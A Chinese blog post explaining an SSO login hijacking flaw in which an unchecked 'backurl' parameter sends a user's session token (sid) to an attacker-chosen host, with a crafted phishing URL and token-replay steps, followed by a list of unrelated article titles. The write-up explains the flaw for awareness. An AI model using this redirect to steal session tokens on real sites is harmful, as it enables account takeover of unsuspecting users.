正文

参考资料:

  • 腾讯单点登录系统跨域劫持漏洞

  • https://lvwei.me/passport.html#toc_8

sso单点登陆,用户一次登陆,所有系统都可访问。

sso设计目的是简化登陆方式,可能有很多系统,但是多个系统都是一个机构的,每个系统每次都要分别登陆就很复杂。

举个例子,OpenID是一个很流行的sso框架,

用户提交1. openID 2.openID Provider(提供者)

网站重定向到openID provider认证,登陆成功后,再重定向回网站。

这里可以理解为,门卫不知道你是谁,然后让你去某某处盖章,你去盖章完成后回到门卫处,门外验证红章没问题就让你通过。

案例

http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2Fabc.com%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

此处有一个参数backurl=abc.com,当修改此参数为backurl=abc.com.test

网页向abc.com.test,也就是openID Provider(提供者)提交一串openID。

提交后,网页提示无法连接abc.com.test,并且抓取到了一段数据包,包含了登陆成功的token。

由于客户可以伪造openID Provider(提供者),此处产生了sso登陆劫持漏洞。下列的sid是token。如果使用以下token,再次访问http://abc.com.test/Account/Login,可以发现已经登陆。

http://abc.com.test/Account/Login?ReturnUrl=%2f&sid=c4d4e77e80ad1ee5c6828122a38b90d18077aeea4feb963a6c465e4691f65e767f11f935de6c3616

攻击方式

攻击者可以将backurl修改为自己的地址,然后发送恶意连接 http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2F恶意地址%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu

一旦受害者点击链接,并输入正确的用户名和密码。恶意地址会收到如下的get请求“GET /Account/Login?ReturnUrl=%2f&sid=96c2182d0da29dc720fab468734fef9e47ced2993df16fda6b03c98e92f6e77475b4cf56623430d6 ”

攻击者就可以使用token sid=xxx,以受害者的身份进行登陆abc.com。

sso登陆劫持漏洞(单点登录劫持,低危)相关推荐

  1. 你真的了解单点登录(SSO)吗? 单点登录实现方式

    在程序开发中,特别是网站类开发,会接触到单点登录(SSO),什么是单点登录?单点登录(SSO)有什么用?下面就来详细介绍一下. 1 单点登录 1.1 什么是单点登录 单点登录的英文名叫做:Single ...

  2. SSO - 我们为何需要单点登录系统

    SSO,Single Sign On,也就是单点登录,保证一个账户在多个系统上实现单一用户的登录 现在随着网站的壮大,很多服务会进行拆分,会做SOA服务,会使用dubbo做微服务,或者简单的小型分布式 ...

  3. 会话劫持漏洞小结——cookie劫持的方式、属性、原理、危害及防御

    会话劫持 概念 会话劫持(Session hijacking)是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Sess ...

  4. sso 登出_SSO单点登录/登出系统实现

    先把源码贴出来,再慢慢讲解思路和原理以及实现方式 -->源代码1.0 整合了Mybatis +redis/redis集群二级缓存+cookie加密机制+token -->源代码2.1  密 ...

  5. java php 单点登陆,cas实现单点登录,登出(java跟php客户端)(转)

    cas实现单点登录,登出(java跟php客户端)(转)cas实现单点登录,登出(java和php客户端) (转) 最近项目中需要做单点登录,客户端包含java和php,java有几个应用程序,php ...

  6. (五)SSO之CAS框架单点登录, session超时, ajax链接处理

    1 错误场景 cas session 超时问题:XMLHttpRequest cannot loadhttps://www.hf.com:8443/cas/login?service=http%3A% ...

  7. SSO单点登录学习总结(1)——单点登录(SSO)原理解析

    SSO的概念: 单点登录SSO(Single Sign-On)是身份管理中的一部分.SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应 ...

  8. 009 - CSS预处理器less sass SAML SSO 单点登录 websocket socket.io

    009_css预处理器less sass saml sso 单点登录 websocket## less 安装: npm install -g less 命令: lessc style.less sty ...

  9. 基于Cookie的单点登录(SSO)系统介绍

    基于Cookie的单点登录(SSO)系统介绍 SSO的概念: 单点登录SSO(Single Sign-On)是身份管理中的一部分.SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保 ...

最新文章

  1. NodeJS + Aliyun 实现 DDNS
  2. Docker容器管理总结
  3. linux ls-l getswd,liunx
  4. 17pk扎金花基于层次的技术
  5. java接口自动化书籍_java接口自动化优化(一)
  6. JAVA代码规范(二)
  7. OpenJDK8 u282发布一个月了,龙芯还没有更新跟进
  8. ARM开发6.3.3 基础实训( 3 ) 两个 LED 显示二位数(静态显示)--LPC21XX
  9. Android NFC详解
  10. vue项目中使用 ttf字体
  11. SQl触发器 声明变量。
  12. [c51单片机]利用Protues 仿真C51单片机8位数码管
  13. Volatility3安装
  14. 2019世界移动通信大会--中国5G迎来高光时刻
  15. 未成年人勿进 谨以献给1980~1990出生的人(一)
  16. 大三小学期进阶课程第十二课:apollo地图采集方案
  17. 预制发票MIR7抬头行项目检查BADi-MRM_HEADER_CHECK
  18. uniapp 前端导出excel
  19. 草根创业是不是真的不行了
  20. 淘宝API接口,Onebound数据

热门文章

  1. 上海药物所揭示KRAS突变肿瘤的分子分型和精准治疗新策略
  2. Big Sur bug汇总与解决:macOS Big Sur更新后你遇到了哪些问题?
  3. 计算机网络实验报告嗅探器,计算机网络实验(Wireshark)
  4. java jvm 查看内存_JVM:查看java内存情况命令
  5. 1.7 编程基础之字符串 30 字符环 python
  6. 1.5编程基础之循环控制_16买房子
  7. 轻松使用计算机,职称计算机Excel辅导:简单四招让你使用Excel轻松提速
  8. python0b1011_1011 A+B 和 C (15分)Python参考答案
  9. linux 远程桌面配置,linux 远程桌面的配置
  10. Spring Boot笔记-WebSocket的使用